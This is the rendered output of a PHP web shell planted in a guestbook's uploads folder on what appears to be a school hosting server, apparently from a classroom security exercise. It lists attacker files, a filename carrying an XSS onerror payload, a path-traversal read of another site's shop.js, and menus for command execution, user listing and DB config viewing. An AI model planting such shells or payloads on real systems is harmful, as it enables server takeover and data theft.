🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ../../../../586648.klas4s23.mid-ica.nl/public_html/ergowijzer/shop.js

document.addEventListener('DOMContentLoaded', function () {
    // ----- PRODUCT DATA -----
    const productTemplates = {
        mouses: {
            description: "Ergonomic mouse for comfortable use.",
            features: [
                "57° ergonomic design for wrist comfort",
                "Adjustable DPI (800-16000) for precision",
                "Textured grip for extra control",
                "Multi-device support via Bluetooth 5.0",
                "30-day battery life with fast charging"
            ],
            rating: "★★★★★ (342 reviews)"
        },
        keyboards: {
            description: "Mechanical keyboard with RGB lighting.",
            features: [
                "16.8 million color RGB backlight",
                "Cherry MX switches (Red/Blue/Brown)",
                "Detachable USB-C cable",
                "Adjustable feet with 3 angles",
            ],
            rating: "★★★★☆ (278 reviews)"
        },
        desks: {
            description: "Durable desk with adjustable height.",
            features: [
                "Compact design with wall mounting",
                "Eco-certified materials",
                "Electric or manual height adjustment",
                "Integrated power outlets and USB ports",
                "Supports up to 150kg",
            ],
            rating: "★★★★☆ (189 reviews)"
        },
        chairs: {
            description: "Ergonomic office chair with premium finish.",
            features: [
                "Steel frame with reinforced cross braces",
                "Durable bamboo seat with matte finish",
                "Smart design with wireless charger and USB-C",
                "Advanced cable management",
                "Quiet operation (<30dB) with safety system",
            ],
            rating: "★★★★★ (412 reviews)"
        },
        glasses: {
            description: "Blue light blocking glasses for digital eye strain.",
            features: [
                "Lightweight frame with adjustable nose pads",
                "Anti-reflective lenses with UV protection",
                "Reduce eye strain and improve sleep quality",
                "Stylish design for work or gaming",
                "Available in prescription or non-prescription",
            ],
            rating: "★★★★★ (128 reviews)"
        },
    };

    // ----- WISHLIST FUNCTIONALITY -----
    document.querySelectorAll('.wishlist-icon').forEach(icon => {
        icon.addEventListener('click', function () {
            this.classList.toggle('active');
            const svg = this.querySelector('svg path');
            svg.style.fill = this.classList.contains('active') ? '#ff4057' : 'none';
            svg.style.stroke = this.classList.contains('active') ? '#ff4057' : '#ccc';
            showNotification(this.classList.contains('active') ? 
                           'Added to wishlist!' : 'Removed from wishlist!');
        });
    });

    // ----- PRODUCT BUTTONS (DETAILS & BUY NOW) -----
    document.querySelectorAll('.product-button').forEach(button => {
        button.addEventListener('click', function () {
            const productCard = this.closest('.product-card');
            const category = productCard.getAttribute('data-category');
            const productTitle = productCard.querySelector('.product-title').textContent;
            const productPrice = productCard.querySelector('.product-price').textContent;
            const productImage = productCard.querySelector('.product-image img').src;

            if (this.classList.contains('buy-now')) {
                showNotification(`Added "${productTitle}" to cart!`);
                this.textContent = '✓ Added to Cart';
                setTimeout(() => {
                    this.textContent = 'Buy Now';
                }, 1500);
            } else {
                if (productTemplates[category]) {
                    const productData = {
                        title: productTitle,
                        price: productPrice,
                        image: productImage,
                        description: productTemplates[category].description,
                        features: productTemplates[category].features,
                        rating: productTemplates[category].rating
                    };
                    showProductModal(productData);
                } else {
                    console.error(`No template found for category: ${category}`);
                }
            }
        });
    });

    // ----- NOTIFICATION SYSTEM -----
    function showNotification(message) {
        const notification = document.createElement('div');
        notification.className = 'notification';
        notification.textContent = message;
        document.body.appendChild(notification);
        setTimeout(() => notification.remove(), 3000);
    }

    // ----- SHOW PRODUCT MODAL -----
    function showProductModal(product) {
        const modal = document.createElement('div');
        modal.className = 'modal';
        modal.innerHTML = `
            <div class="modal-content">
                <span class="close-modal">&times;</span>
                <div class="modal-image">
                    <img src="${product.image}" alt="${product.title}">
                </div>
                <div class="modal-info">
                    <h2>${product.title}</h2>
                    <p class="modal-price">${product.price}</p>
                    <div class="modal-rating">${product.rating}</div>
                    <p class="modal-description">${product.description}</p>
                    <div class="modal-features">
                        <h3>Features:</h3>
                        <ul>
                            ${product.features.map(feature => `<li>${feature}</li>`).join('')}
                        </ul>
                    </div>
                    <button class="modal-buy">Add to Cart</button>
                </div>
            </div>
        `;
        document.body.appendChild(modal);
        document.body.style.overflow = 'hidden';

        // Close modal event handlers
        modal.querySelector('.close-modal').addEventListener('click', () => {
            modal.remove();
            document.body.style.overflow = '';
        });

        modal.addEventListener('click', (e) => {
            if (e.target === modal) {
                modal.remove();
                document.body.style.overflow = '';
            }
        });

        // Add to cart button in modal
        modal.querySelector('.modal-buy').addEventListener('click', () => {
            showNotification(`Added "${product.title}" to cart!`);
            modal.remove();
            document.body.style.overflow = '';
        });
    }
});

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!